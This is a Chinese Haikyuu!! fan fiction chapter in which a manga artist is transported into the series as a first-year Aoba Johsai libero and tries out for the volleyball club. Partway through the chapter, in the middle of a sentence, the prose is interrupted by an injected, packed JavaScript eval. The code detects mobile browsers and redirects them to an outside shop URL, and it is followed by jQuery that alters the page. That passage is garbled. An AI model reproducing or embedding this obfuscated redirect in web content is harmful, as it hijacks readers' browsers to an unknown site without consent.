《【排球少年】致——那一场永不落幕的胜利》 1. 第一章 1. 清晨六点十七分,宫城县的阳光透过窗帘的缝隙落在伊藤有弥的眼皮上。 他睁开眼睛的第一反应不是“这里是哪里”,而是“天花板的高度不对”。 作为漫画家的职业习惯让他对空间比例格外敏感——他现在躺着的这张床,他房间现在的天花板高度,甚至窗外透进来的光线角度,都和他应该待的地方不太一样。 他昨晚睡前明明在自己的公寓里,画完了最新一话的分镜稿,喝了两杯速溶咖啡,在凌晨两点多的时候倒在床上。 那张床的天花板应该更低一些,因为东京的出租公寓总是把层高压到最低。 而现在这个天花板,高得有些奢侈。 伊藤坐起来,被子从身上滑落。他低头看了一眼自己的手——那是一双不属于二十三岁漫画家的手,皮肤更白,手指更细,指甲剪得很整齐,没有长期握笔留下的茧。 他翻转手掌,掌心的纹路也不一样了。 “……” 他沉默了很久。 然后他注意到了床头柜上放着的东西:一部他没见过的手机,一个印着青叶城西高校字样的信封,还有一张学生证。 他拿起学生证。 照片里的人是他——或者说,是年轻了六岁的他。 更短的头发,更青涩的脸,穿着一件深蓝色的校服,表情有些拘谨。 名字写着“伊藤有弥”,出生日期和他原来的生日是同一天,但年份往后推了六年。 他现在十六岁。 伊藤放下学生证,深呼吸了三次。 这是他从前世养成的习惯——遇到任何事情,先深呼吸三次,然后再做判断。 然后他听到了一个声音。 那声音不是从耳朵里传来的,而是直接出现在他脑子里,像是有人在他的意识深处说话。 语气平淡,没有感情,甚至可以说是机械的。 “宿主已清醒。系统初始化完成。” “欢迎来到排球少年的世界。” “绑定任务:成为世界第一自由人。” “完成后即可返回原世界。” “祝您生活愉快。” 声音消失了。 伊藤坐在床上,眨了眨眼睛,然后又眨了眨。 “……什么?” 他下意识地说了出来。 声音比他记忆中的要年轻一些,带着十六岁少年特有的清亮,但说话的节奏和语气和他前世一模一样——慢吞吞的,每个字之间都隔着一层犹豫。 系统没有回答他。 伊藤等了一会儿,又等了一会儿。房间里安安静静的,只有窗外的鸟叫声。 “你是……系统?”他试探着问。 没有回应。 “排球少年的世界?” 没有回应。 “成为世界第一自由人才能回家?” 还是没有回应。 伊藤沉默了片刻,然后拿起了那部手机。 屏幕亮起来,桌面壁纸是一张空无一人的排球场的照片——木地板被灯光照得发亮,球网在画面中间微微下垂。 他不确定这张照片是谁拍的,但那个球场的样子他很熟悉。 那是青叶城西高校排球部的体育馆。 伊藤盯着那张照片看了很久。 作为《排球*年!!》的忠实读者,他追了这部漫画将近八年。 从高中时代在《周刊少年JUMP》上第一次读到第一话,到大学期间每周四准时看更新,再到毕业后成为漫画家之后仍然把这部作品当作自己创作的教科书。 他记得几乎所有主要角色的名字、性格、成长轨迹,甚至记得大部分经典比赛的比分和关键分。 青叶城西,及川彻所在的学校。 宫城县最强的队伍之一。 而他现在,是这所学校的高一新生。 伊藤放下手机,又做了一次深呼吸。 他应该害怕的。 穿越到一部漫画的世界里——这种事情放在任何正常人的身上都应该引起恐慌。 他不知道这具身体原来的主人去了哪里,不知道自己为什么会出现在这里,不知道那个所谓的系统到底是什么东西,甚至不知道自己还能不能回去。 但奇怪的是,他发现自己并没有那么害怕。 也许是因为这一切太不真实了。 也许是因为前世的他早就习惯了“无论怎么努力都得不到想要的结果”这件事——当一个人经历过足够多的失败,对命运的恐惧反而会降到最低。 也许是因为,在听到“排球少年”这四个字的时候,他的心脏跳得快了一拍。 那是一种很久没有出现过的感觉。 他以为自己在二十三岁那年已经把对排球的感情彻底封存了。 “先弄清楚状况吧。” 伊藤从床上下来,赤脚踩在木地板上。 房间不大,但收拾得很干净,书桌上放着几本高中教材和一个笔袋,墙上没有任何海报或装饰品。 衣柜里挂着几套校服和便服,全都是深色系,和他的穿衣风格几乎一模一样。 他在书桌上找到了一张折好的便签纸,上面用日语写着一行字: “有弥,爸爸妈妈去伦敦了,下个月回来。一个人要好好吃饭。——妈妈” 字迹很潦草,像是在赶飞机前匆忙写下的。 伊藤把便签纸折好放回原处。 所以这具身体的设定是:父母在国外工作,一个人在宫城县生活。独居。高一新生。刚搬家到这里,还没有朋友。 和前世的他几乎一模一样。前世的他也是高中开始一个人住——父母工作忙,他习惯了独来独往,习惯了什么事情都自己处理。 打排球的时候是这样,后来画漫画的时候也是这样。 他走到窗前,拉开窗帘。 阳光涌进来,照亮了整个房间。 窗外是一条安静的住宅街道,远处可以看到连绵的山脉,天空蓝得不像话。 这是宫城县的早晨,空气清冽干燥,和东京那种潮湿浑浊的清晨完全不同。 伊藤站在窗前看了一会儿,然后转过身,开始翻找书桌上的抽屉。 他在最下面的抽屉里找到了一本高中的笔记本,翻开第一页,看到了一行用工整的字迹写下的信息——像是这具身体原来的主人在某个时刻特意记下的,又或者是系统植入的背景信息。 上面写着: 伊藤有弥,16岁,青叶城西高校一年级。初中时代在仙台市立第一中学打排球,位置是自由人。初中三年级的县大会中进入八强,没有进入全国大赛。 排球经历是有的。 不是从零开始。 伊藤把笔记本合上,靠在书桌边沿,双手抱胸,开始整理思路。 他现在面临的情况是这样的: 第一,他穿越了。 从一个有《排球少年!!》漫画的世界,穿越到了《排球少年!!》的世界本身。 他前世作为漫画家积攒的所有分镜技巧和叙事经验在这里毫无用处,但他作为读者对这个世界“未来”的了解,可能会成为一种特殊的优势——他知道谁会赢,谁会在什么时候成长,哪些队伍会成为青城最强的对手。 第二,他绑定了系统。 任务是成为世界第一自由人,完成后才能回家。 这个任务的难度堪称荒谬——世界第一自由人是什么概念?是古森元也那个级别,是能够站在国际赛场上和全世界最强攻手对抗的存在。 他前世打了六年排球,连县大会的八强都进不了。现在要他成为世界第一? 第三,他的身体变了。 更年轻了,但身体素质似乎并没有比前世好多少——不,应该说,比他前世十六岁的时候还要差一些。 前世他十六岁的时候至少跳得更高,爆发力也更强。 而现在这具身体的速度和力量都很平庸,放在高中排球部里大概只能算中下游。 “所以说,”伊藤自言自语,“不仅没有给我开挂,反而还给我削弱了?” 系统没有回答。 他叹了口气,走到卫生间洗漱。 镜子里映出一张年轻的脸——轮廓和他前世的十六岁一模一样,但眉眼之间的气质有些不同。 前世的他脸上总是带着一种“无所谓”的表情,那是无数次失败之后养成的保护色。 而镜子里这张脸,虽然表情拘谨,但眼睛里还有光。 那是还没有被彻底打败过的光。 伊藤看了两秒钟,移开了视线。 他换好校服,把学生证和钱包装进口袋,拿起那部手机,走出了房间。 走廊很安静,邻居们大概已经出门上班了。 他下楼的时候在楼梯间闻到了早餐的味道——某个家里飘出来的味增汤的香气,让他忽然意识到自己的胃是空的。 他在便利店买了一个饭团和一盒蔬菜汁,站在店门口吃完了,然后按照手机地图的指引,向青叶城西高校走去。 四月的宫城县,樱花已经落了。 街道两旁的樱树长出了嫩绿的新叶,阳光从枝叶间漏下来,在地面上投下细碎的光斑。 伊藤走得很慢,一边走一边看着周围的一切。 他在找那张照片里的视角。 他想知道那张排球场照片是在哪里拍的。 走了大约十五分钟,他看到了青叶城西高校的校门。 那是一所很大的学校,主楼是米白色的建筑,正门上方挂着“青叶城西高等学校”的牌子。 校门前已经有不少学生了,三三两两地走进校门,有的在聊天,有的在赶着交作业,有的站在门口等人的样子。 伊藤在校门外站住了。 他知道这所学校。 他知道这所学校排球部的每一个成员——从及川彻到岩泉一,从松川一静到花卷贵大,从渡亲治到矢巾秀。 他知道他们每个人的性格、位置、技术特点,甚至知道他们在原著中每一句经典台词的内容。 而现在,他即将走进这所学校,成为他们中的一员。 “……” 伊藤深吸了一口气,抬脚往前走。 刚走了两步,他的余光捕捉到了一个身影。 那是一个穿着青城校服的男生,正从校门对面的方向走过来。 他的身高在一群高中生中显得格外突出,棕色的头发在阳光下泛着浅浅的光泽,走路的姿势带着一种漫不经心的从容。 他的周围围着几个女生,正笑着对他说着什么,他一边走一边回应,语气听起来轻浮又欠揍。 及川彻。 伊藤的脚步不自觉地慢了下来。 他见过及川彻。 不是在这个世界,而是在漫画的页面里,在动画的屏幕上,在无数个深夜他独自对着电脑屏幕一帧一帧研究分镜的时候。 但那些都不是真实的。 现在,他眼前的这个人,是真实的。 他能看到及川校服的褶皱,能看到他领口松开的纽扣,能看到他被女生围着时脸上那种游刃有余的笑容。 他能在三月的春风里听到及川说话的声音——比动画里的声线更低一些,更自然一些,尾音总是往上翘,像是在跟全世界开玩笑。 “及川前辈,今天放学后要去哪里?” “嗯——不知道呢,你们有什么推荐吗?” “上次说的那家甜品店……” “啊,那家啊,岩酱说太甜了不陪我去,一个人去好无聊——” 及川的声音渐渐远去了。 伊藤站在原地,直到那个身影消失在主楼的入口处,才回过神来。 他发现自己攥着书包带子的手心出了汗。 “冷静一点,”他在心里对自己说,“你只是看到了一个漫画角色。不,不对,现在他是真实的人了。但你还是得冷静一点。你是来上学的,不是来追星的。” 他加快了脚步,走进了校门。 公告栏前围了不少人,贴着分班结果。 伊藤挤进去看了一眼——他在一年三班。 他默默记下了教室的位置,转身离开了公告栏。 就在他转身的那一刻,他的肩膀差点撞上了另一个人的胸膛。 “哦,抱歉。” 一个低沉的声音从头顶传来。 伊藤抬头,看到了一个宽厚的肩膀、一张线条硬朗的脸、以及一双正低头看着他的深色眼睛。 岩泉一。 “没、没关系。”伊藤下意识地往后退了一步,声音比他预想的还要小。 岩泉看了他一眼,似乎没太在意,点了点头就走了。 他走路的步伐很快,带着一种运动员特有的节奏感,书包甩在肩上,整个人的气质和及川完全不一样——如果说及川是松散的橡皮筋,岩泉就是一根绷紧的弓弦。 伊藤目送着岩泉的背影消失在走廊尽头,然后又做了一次深呼吸。 “及川彻。岩泉一。都在。” 他低下头,看着自己的脚尖。 “这不是梦。” 他走进一年三班的教室时,大部分座位已经有人了。 他在靠窗倒数第二排找到了自己的位置——和前世高中时的座位几乎一模一样。 他把书包放下,坐下来,看向窗外。 操场上,田径部的学生正在跑步,远处的体育馆屋顶在阳光下反射着灰白色的光,那个方向应该就是排球部的体育馆。 “你是……伊藤同学?” 旁边座位的女生主动跟他打招呼。 伊藤转过头,看到一个扎着马尾辫的女生正微笑着看他。 “嗯,我是伊藤有弥。你好。” “我叫佐佐木,以后请多关照。” “请多关照。” 佐佐木似乎还想说什么,但看到伊藤已经转过头去看窗外了,就把话咽了回去。 伊藤不是故意冷淡的,他只是不擅长和人说话。 前世就是这样——他能在漫画里写出流畅自然的对话,但一到现实中就变得笨嘴拙舌,不知道该说什么,不知道该用什么表情,经常被人误以为高冷或者阴沉。 实际上他只是害羞。 从骨子里害羞。 班主任走进教室开始点名的时候,伊藤的思绪已经飘到了放学后。 他提交了排球部的入部申请。 他在入部理由那一栏只写了一句话:“想打自由人。” 班主任念到他的名字时,他站起来应了一声,然后又坐下了。 周围的同学都在互相认识、交换联系方式,只有他一个人安安静静地坐在座位上,像一块沉默的石头。 他拿出手机,又看到了那张排球场的照片。 壁纸上,空无一人的体育馆里,木地板反射着天花板日光灯的白光。 球网在画面中间微微下垂,像一个正在等待什么的人张开的双臂。 伊藤看着那张照片,想起了二十三岁的自己坐在出租公寓里收拾排球鞋的画面。 那双鞋的鞋底已经磨平了,鞋面也裂开了好几道口子,但他一直没扔。 不是因为舍不得,而是因为懒得扔。 它就那样被塞在鞋柜的最深处,和其他被遗忘的东西一起积灰。 最后一次打排球是在大学四年级的冬天。 那是他整个大学排球生涯的最后一场比赛——一场毫无悬念的惨败。 对面的自由人比他矮三公分,但反应速度快得不像话,每一次扣球都被他稳稳接起,像是提前知道了球会飞向哪里一样。 比赛结束后,他坐在空荡荡的体育馆里,一个人。 队友们都走了。 有人去了庆功宴,有人回了宿舍,有人和女朋友打电话。 只有他一个人坐在长凳上,低着头,看着自己的排球鞋。 那一瞬间他做了一个决定:不打了。 不是因为受伤,不是因为学业压力,不是因为任何说得出口的理由。 只是因为他终于承认了一件事——他没有天赋。 他打了六年排球,从高中到大学,两千多个日夜,无数次的训练和比赛。 他比任何人都认真,比任何人都能吃苦,比任何人都愿意留下来加练。 但他的上限就摆在那里,像一个透明的天花板,无论他怎么跳都够不到。 他可以是一个合格的自由人,可以接起大部分的球,可以在县大会的比赛中发挥稳定。 但他永远成不了“特别”的那一个。 永远不会有球探来看他比赛,永远不会有队友把最后的希望寄托在他身上,永远不会有人在他接起关键球的时候全场起立鼓掌。 天赋是那扇门,而他在门外站了六年。 所以他不打了。 他收起排球鞋,把运动服叠好放进柜子里,然后拿起了画笔。 漫画是他的另一个选择。 他不是天才型的漫画家,但他有耐心,有毅力,有一双愿意为了一格分镜反复修改二十遍的手。 他相信自己可以用努力弥补天赋的差距——至少在漫画的世界里,他是这样相信的。 而现在,他站在一扇新的门前。 这扇门上写着同样的字:排球。 他要再敲一次吗? 下课铃响了。 伊藤抬起头,发现一上午已经过去了。 他几乎不记得自己听了什么课,脑子里全是杂乱的思绪。 周围的同学开始拿出便当盒,教室里弥漫着各种食物的香气。 他带了便当吗? 他翻了翻书包——没有。书桌抽屉里也没有。他忘了。 “……便利店吧。” 他站起来,走出教室。 走廊里很热闹,到处都是端着便当盒聊天的高中生。 伊藤穿过人群,往校门口的方向走,经过体育馆的时候,脚步又慢了下来。 体育馆的门开着。 里面有人在打排球。 伊藤停下脚步,透过半开的门缝往里看。 体育馆里只有三个人,看起来是排球部的二年级生,趁着午休的时间在自主练习。一个人在对墙传球,一个人在练习发球,还有一个在折返跑。 排球砸在墙上的声音,球鞋摩擦地板的声音,球员喘气的声音。 那些声音像是某种被封印已久的咒语,一瞬间击穿了伊藤所有的心理防线。 他站在门外,手不自觉地攥紧了。 他想要进去。 他想要走进那个体育馆,拿起一颗排球,站到球场上。 他想接球。 他想听到排球砸在小臂上的声音,那种沉闷的、结实的、带着一点点弹性的触感。 他想感受木地板在脚下的反作用力,想闻到体育馆里特有的那种混合着汗水和橡胶的气味。 他想打球。 六年了,他以为那些感觉已经消失了。 他以为他可以把排球当作一段可以随意归档的过去,当作一个被他主动放弃的选项,当作一个“不适合自己的东西”。 但他站在这里,听着那些声音,他知道自己错了。 他从来没有放下过排球。 他只是不敢再碰它了。 “喂,那边的——” 体育馆里有人注意到了他。 伊藤猛地回过神来,转身就走。他的步伐很快,几乎是小跑着离开了体育馆。 他不知道自己为什么要跑。 也许是因为他害怕。 害怕再次站上球场,再次面对那个事实——他不够好。他没有天赋。无论他多努力,他永远追不上那些真正有才能的人。 但这一次,他没有选择。 系统说得很清楚:成为世界第一自由人,才能回家。 他的面前只有两条路:变强,或者永远留在这个世界。 伊藤在便利店的货架前站了很久,最后买了一个金枪鱼饭团和一罐咖啡。 他在路边的长椅上坐下来,慢慢地吃。 宫城县的风比东京的大。 风吹过来的时候,带着泥土和青草的气味,还有一种他说不上来的清冽感。 他看着远处的山,想到了很多事。 想到了前世的自己,想到了那些输掉的比赛,想到了那双被塞进鞋柜深处的排球鞋。 也想到了及川彻。 在原作中,及川彻也不是天才。 他拼了命地追赶影山飞雄那样的天才,拼了命地想要证明努力可以超越才能。 他在初中三年级的时候输给了白鸟泽,高中三年级的时候输给了乌野,他没有拿到过全国大赛的入场券。 但他从来没有放弃过。 即使输了,他也没有放弃。 即使他知道自己不是天才,他也没有放弃。 伊藤咬了一口饭团,慢慢地嚼着。 “世界第一自由人吗……” 他自言自语,声音被风吹散了。 系统没有回答他。 系统从来不主动说话,只在任务触发的时候才会出现提示。 它在等伊藤自己做出选择——或者说,它从一开始就知道伊藤会怎么选择。 因为如果一个人不想打球,他不会被一个穿越的系统绑上球场。 他会找到别的办法。 但伊藤没有。 他吃完了饭团,喝完了咖啡,把空罐子扔进垃圾桶。 然后他站起来,拍了拍裤子上的灰,朝着学校的方向走回去。 他的步伐比来的时候快了一些。 不是很有信心,不是充满干劲,没有任何戏剧性的心理转变。 他只是走快了一些,因为下午的课快要开始了,而放学后他要去体育馆报到。 仅此而已。 下午的课程比上午更无聊。 伊藤勉强撑着眼皮听完了数学课和英语课,在最后一节现代文课上几乎睡着。 他的同桌佐佐木在旁边用余光看了他好几次,大概在想这个新同学是不是有什么睡眠障碍。 下课铃响起的时候,整个教室瞬间活了过来。 伊藤也活了过来。 他收拾好东西,背上书包,跟着人群走出了教室。走廊里的人流朝着不同的方向分流——有人去参加社团活动,有人直接回家,有人去图书馆。 伊藤走在去体育馆的路上。 他的心跳在加速。不是紧张,不是兴奋,而是一种更复杂的感觉——像是时隔多年回访一个曾经无比熟悉的地方,既期待又忐忑。 体育馆出现在视野里。 白色的外墙,灰色的屋顶,正门上方挂着一块写着“体育馆”的牌子。 门开着,里面传来说话声和球鞋摩擦地板的声音。 伊藤在门口站了一秒钟。 然后他走了进去。 馆内的光线很亮。天花板上的日光灯全部打开着,把整个空间照得通明。 木地板反射着灯光,上面画着白色的球场线,球网在正中间拉得笔直。 已经有十几个人在场上了。 有人在热身,有人在传球,有人靠在墙边聊天。 伊藤看到了及川彻。 他站在球场中央,手里托着一颗排球,正在跟旁边的岩泉说着什么。 他说着说着忽然笑了起来,被岩泉一巴掌拍在后脑勺上。 他也看到了金田一勇太郎——那颗标志性的韭菜头在一群人中格外显眼。 金田一正在做拉伸,表情专注,似乎在为接下来的训练做准备。 在他旁边的是国见英。国见面无表情地靠在墙上,看起来完全没有要动的意思,但伊藤知道他的技术一点也不比任何人差。 还有松川一静和花卷贵大。松川在和花卷说着什么,表情冷静,花卷在点头。 以及—— “你是新入部的?” 一个声音从旁边传来。 伊藤转过头,看到了一个穿着运动服的男生,胸口别着一个小小的名牌。 他个子不高,但整个人看起来很结实,眼神里带着一种运动员特有的锐利。 渡亲治。二年级,自由人。 “嗯。”伊藤点了点头,从书包里拿出入部申请书,“我是今天提交申请的伊藤有弥,一年三班。位置是自由人。” 渡接过申请书,快速地扫了一眼,然后抬起头看着伊藤。 “自由人?” “是的。” “你以前打过自由人?” “初中打过。” 渡沉默了两秒钟,然后点了点头,把申请书收好。 “我是渡亲治,二年级,也是自由人。你先把东西放好,换好衣服,待会儿会有入部测试。” “好的。” 伊藤走向更衣室。 他的脚步很稳。 他不知道自己现在是什么水平,不知道这具身体的肌肉记忆还在不在,更不知道系统的存在会给他带来什么样的影响。 他也不知道自己究竟要多久才能追上渡的水平,不知道要多久才能达到“世界第一”的标准。 但他至少知道一件事。 这一次,他不会再因为“没有天赋”而放弃了。 不是因为系统逼他,不是因为有什么奖励在等着他。 只是因为,在刚才听到排球砸墙的声音的那一刻,他发现自己比想象中更想念球场。 更衣室的门在他身后关上。 更衣室里没有人。 伊藤找到了一个空置的储物柜,把书包放进去。 柜子里有一件叠好的运动T恤和一条短裤,都是新的,尺码正好合适。 他脱下校服,换上运动服。 在镜子前,他看到了自己的样子——运动服有些宽松,但整体看起来还算精神。他的手臂很细,腿也很细,完全不像一个运动员。 前世的他也没有多强壮,但至少经过六年的训练,身上该有的肌肉线条都有。 而现在这具身体,像是白纸一张。 “慢慢来吧。”伊藤对自己说。 他走出更衣室的时候,体育馆里已经聚集了更多的人。 三年级的队员也都来了,包括松川和花卷。花卷正在跟松川抱怨什么,松川一脸“你又在说废话”的表情。 及川正在跟岩泉说话,看到伊藤从更衣室里走出来,目光在他身上停了一秒,然后移开了。 那一秒甚至不到一秒。 伊藤知道及川没有注意到自己。 在及川眼里,他只是众多入部新生中的一个——而且是一个看起来毫无威胁性的新生。 个子不高,体格不壮,站在那里安安静静的,像一棵不会说话的树。 这样也好。 伊藤不喜欢被人盯着看。 越不起眼,他越自在。 他走到场边,找了个不碍事的角落站好。 旁边站着几个同样来报到的一年级生,都在小声地互相交谈。 没有人跟伊藤说话,伊藤也没有主动开口。 他站在那里,看着球场,看着那些他曾经只在漫画里见过的人。 及川彻在跟岩泉斗嘴,被岩泉按着脑袋“教育”。 金田一在做深蹲,国见在旁边喝着运动饮料,表情淡漠。 松川和花卷开始热身传球,两个人的配合看起来很默契。 渡在做手腕和脚踝的拉伸,动作标准得像是教科书。 体育馆里的空气开始热起来。 有人打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454769|201213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了窗户,春天的风吹进来,带着操场上的尘土味和远处不知道哪里传来的音乐声。 伊藤把目光投向球网对面。 对面的墙上挂着一面旗帜,上面写着“青叶城西高校排球部”几个字,下面是历年在县大会中取得的成绩。 他看到了许多第二名、第三名。 唯独没有第一名。 白鸟泽像一座山一样挡在所有宫城县队伍的面前。 牛岛若利的扣球像炮弹一样,能够击穿任何防线。 青城一次又一次地挑战,一次又一次地败北。 但今年不一样。 伊藤知道,今年——也就是原著剧情正式开始的那一年——青城会变得更强。 他们会拥有一个更完整的阵容,会在及川的带领下打出一场又一场精彩的比赛。 虽然最终,他们还是没能打进全国大赛。 虽然及川彻直到毕业,都没能战胜白鸟泽,没能战胜乌野。 但那些比赛,那些奋斗,那些在球场上流下的汗水和眼泪,都不是没有意义的。 “好了,安静一下!” 岩泉的声音在体育馆里响起来,带着三年级主将特有的威严。 所有人都安静了。 及川不知道什么时候站到了岩泉旁边,两个人并肩站着,面向所有人。 “我是主将及川彻。”及川笑着说,声音不大但全场都听得清清楚楚,“今天开始新学期的部活。一年级的新生们,欢迎加入青叶城西排球部。” 他的目光扫过场边的几个新生,包括伊藤。 “及川前辈会好好指导你们的哦——” “废话太多了。”岩泉一把推开他,站到前面,“我是副主将岩泉一。接下来的训练由我来说明。所有人先热身,热身之后进行分组练习和入部测试。一年级的新生会根据测试结果分配训练内容。” 岩泉的话简短有力,没有一句废话。 伊藤在心里默默地给岩泉点了个赞。 热身开始了。 伊藤走到场上,开始做拉伸。 他的动作很标准——前世打了六年球,热身动作已经刻进了肌肉记忆里。 弯腰、压腿、扩胸、转肩,每一个动作都做得很认真。 渡在场边观察着几个一年级的自由人候补。 伊藤感受到了渡的视线,但没有抬头去看。 他专注于自己的热身,专注于身体的每一个动作。 他知道渡在看他。 渡是青城现在的正选自由人。 他在这里已经一年了,对球场、对队友、对战术体系都了如指掌。 他接球稳定、体力充沛、防守范围大,是青城防守体系中不可或缺的一环。 而伊藤,只是一个刚入部的新人。 一个想要挑战渡位置的新人。 伊藤没有想那么远。至少现在还没有。 他现在只想做好眼前的事情——热好身,然后在入部测试中证明自己的价值。 证明自己不是一个“因为系统任务才来打排球”的人。 证明自己是真心想要站在球场上的。 热身结束后,岩泉把所有人分成了几组。 一年级的新生被分到一起,由三年级的松川和花卷带领进行基础测试。 伊藤站在一年级的队伍里,排在中间。 前面的人一个一个地被叫到名字,进行摸高测试、冲刺测试、接球测试。 伊藤看着他们的成绩,在心里默默记着。 大部分人的身体素质都在他之上。 比他高,比他跳得高,比他跑得快。 他前世就是这样。 在一群天赋异禀的人中间,他永远是最不起眼的那一个。 队友们跳起来能够轻松超过网高,而他拼尽全力也摸不到网口。 队友们能够在短短几步之内加速到全速,而他永远慢半拍。 现在也是这样。 “伊藤有弥。” 松川叫到了他的名字。 伊藤走上前去。 “先测摸高。” 伊藤站在网前,抬头看着网的高度。 男子排球网高是2.43米,他前世在高二的时候助跑摸高最高达到过3.10米,不算差,但在强队里只能算中等偏下。 而现在这具身体…… 他深吸一口气,助跑,起跳。 身体腾空的瞬间,他感受到了这具身体和前世身体的差异——爆发力明显不足,核心力量不够,起跳的高度比他预想的还要低。 他的手拍在了测量尺上。 “2.95米。”花卷报出了数字。 伊藤落地的时候膝盖有些软,他稳住身体,没有表现出任何情绪波动。 2.95米。 比前世的十六岁低了将近十公分。 旁边的几个一年级生交换了一个眼神。 这个摸高成绩在排球部里确实不太好看。 “下一个测试,冲刺。”松川面无表情地记录着数据,看不出任何倾向。 伊藤站在底线,等着哨声。 哨声响了。 他冲出去。 起跑的速度不快不慢,加速的过程也很平稳,没有那种爆发式的提升。 他冲到对面底线的时候,听到了花卷报出的时间。 中等偏下。 和他预想的一样。 最后是接球测试。 花卷站在场地的另一边,连续扣球给伊藤,测试他的接球能力。 这是伊藤唯一有信心的地方。 花卷的第一个扣球来了——不算很快,但角度很刁钻,瞄准了场地的左侧边线。 伊藤移动了。 他的移动速度和他在冲刺测试中表现出的速度完全不同。 在接球的时候,他的脚步变得更加灵活,预判也更加准确。 他在球落地之前就已经判断出了球的落点,身体自然而然地移动到了最佳位置。 球砸在他的小臂上。 “砰”的一声,沉闷而结实。 球弹起来,划出一道漂亮的弧线,稳稳地飞向了场地中央——那是二传手应该在的位置。 花卷的眉毛动了一下,松川也注意到了。 他在本子上记录了什么,但表情没有任何变化。 花卷扣了第二个球。 这一次更快,更重,瞄准了底线附近。 伊藤后退,身体后仰,在球即将落地的前一刻用前臂将球兜了起来。 球再次稳稳地飞向场地中央。 第三个球。 第四个球。 第五个球。 花卷连续扣了十个球,伊藤接起了其中的九个,只有一球因为角度太过刁钻而没能成功。 九个球中,有七个稳稳地送到了二传手的位置。 花卷停了下来,看着松川。 松川点了点头。 “好了,测试结束。”松川说,声音依旧平静,“结果会在这周内公布。今天先参加基础训练。” 伊藤鞠了一躬,退回到场边。 他的手臂上红了一片——这具身体的手臂皮肤太薄,接球时受到的冲击力直接留下了印记。 他轻轻揉了揉,没有出声。 渡不知道什么时候站到了他旁边。 “你是自由人?”渡再次问伊藤,似乎是没有记起伊藤已经回答过一次。 “嗯。” “接球不错。”渡说,语气很淡,听不出是夸奖还是试探。 “谢谢。”伊藤说。 渡看了他一眼,没有再说什么,转身走开了。 伊藤站在场边,看着渡的背影。 他知道渡在观察他。 作为一个同样是自由人的前辈,渡对新来的自由人候补一定会格外关注。 刚才的接球测试中,伊藤的表现虽然不算惊艳,但已经足够让渡注意到他的存在。 十个球接起九个,其中七个送球到位。 这个成绩在一年级新生中算是不错的。 但对于想要成为正选的人来说,还远远不够。 伊藤知道这一点。 他低下头,看着自己的手。 掌心的纹路和前世不一样了,但这双手能做的事情还是一样的——接球、传球、捡球、擦汗、握拳、张开。 这双手曾经在无数个深夜陪他加练,曾经在无数次输球后无力地垂在身体两侧,曾经在最后一场比赛后紧紧地攥成拳头。 现在,这双手有了第二次机会。 “集合!” 岩泉的声音再次响起。 所有人围拢过去。 及川站到了队伍前面,脸上挂着标志性的笑容。 “今天的训练就到这里——才怪。”他说,“先跑十圈,然后分组练习。一年级的不要偷懒,及川前辈会一直盯着你们的哦。” “你也不要偷懒。”岩泉在后面补了一句。 及川假装没听到。 十圈。 伊藤跟着队伍跑起来。 他的跑步节奏很稳,不快不慢,每一步都踩得很实。 前世的他体力就很好——这是他为数不多的优点之一。 他可以在别人都跑不动的时候继续跑,可以在别人都放弃的时候继续坚持。 这一次也一样。 十圈跑完,大部分人都喘着气,伊藤也在喘,但呼吸还算平稳。 及川注意到了这一点。 他没有说什么,只是在心里记下了这个看起来不起眼的一年级生。 分组练习开始了。 一年级的被分配到各个位置进行基础训练。 伊藤被分到了自由人组,和渡一起训练。 渡没有主动跟伊藤说话。 他做自己的训练,偶尔用余光看一眼伊藤的动作。 伊藤也没有说话。 他专注地做着自己的训练——对墙接球、步伐移动、鱼跃救球。 他做得很认真。 不是那种“我要证明自己”的用力过猛,而是一种安静而持续的认真。 像是流水一样,不急不躁,但从未停止。 花卷在旁边观察了一会儿,走到松川身边。 “那个一年级的自由人,接球的时候有一种很奇怪的感觉。”花卷说。 “什么感觉?” “说不上来。就是……他的动作不像是一年级的。太干净了。” 松川看了伊藤一眼。 伊藤正在做鱼跃救球的练习。 他的身体贴着地板滑出去,手臂前伸,球被他稳稳地接起来,然后他迅速站起来,回到原位,准备接下一个球。 动作干净利落,没有任何多余的部分。 “确实不像一年级的。”松川说。 “可能是初中就练得很扎实。”花卷说。 “有可能。” 两个人又看了一会儿,然后各自回到了自己的训练中。 训练持续了一个半小时。 结束时,天色已经暗了下来。体育馆里的灯光显得格外明亮。 “今天的部活到此结束。明天同一时间,不要迟到。”岩泉说。 队员们开始收拾东西。 有人去洗澡,有人留下来加练,有人直接离开。 伊藤蹲下来,开始收拾散落在场边的排球。 他把球一个个捡起来,放进推车里,动作很慢,像是在做一件很享受的事情。 及川从他身边经过,手里拿着水瓶。 “新来的?”及川问。 “……嗯。” “名字?” “伊藤有弥。” “伊藤君。”及川念了一遍他的名字,语气里带着一种漫不经心的随意,“接球不错。继续加油。” 说完就走了。 伊藤蹲在原地,手里还抱着一个排球。 及川彻说他接球不错。 虽然可能只是随口一说。 虽然及川大概明天就会忘记他的名字。 但伊藤还是觉得……很开心。 他把最后一个排球放进推车里,站起来,拍了拍膝盖上的灰。 更衣室里已经没什么人了。伊藤换了衣服,把运动服叠好放进储物柜里。 他在更衣室的长凳上坐了一会儿,盯着自己的储物柜发呆。 系统还是没有说话。 但他感觉到了某种变化——像是身体里有什么东西被激活了。 不是能量,不是力量,而是一种更微妙的东西。 是热爱。 是那种已经被他封印了六年的、对排球最纯粹的热爱。 它回来了。 伊藤走出体育馆的时候,外面已经完全黑了。 路灯亮着,把操场照得昏黄。远处有人还在跑步,脚步声一下一下地传来。夜风吹过来,带着凉意,吹干了他额头上的汗。 他抬头看着天空。 宫城县的夜空比东京的更黑、更透、星星更多。 他站在那里看了一会儿,然后开始往家走。 路上他想了很多。 想到前世的自己,想到那个坐在空荡荡的体育馆里决定放弃排球的二十三岁的青年,想到那些年他流过的汗水和眼泪,想到那双被塞进鞋柜深处的排球鞋。 也想到了今天接起的那九个球,想到了及川那句“继续加油”,想到了渡看他的那个眼神。 他走得很快,因为明天还要早起。 明天还要来体育馆。 明天还要接更多的球。 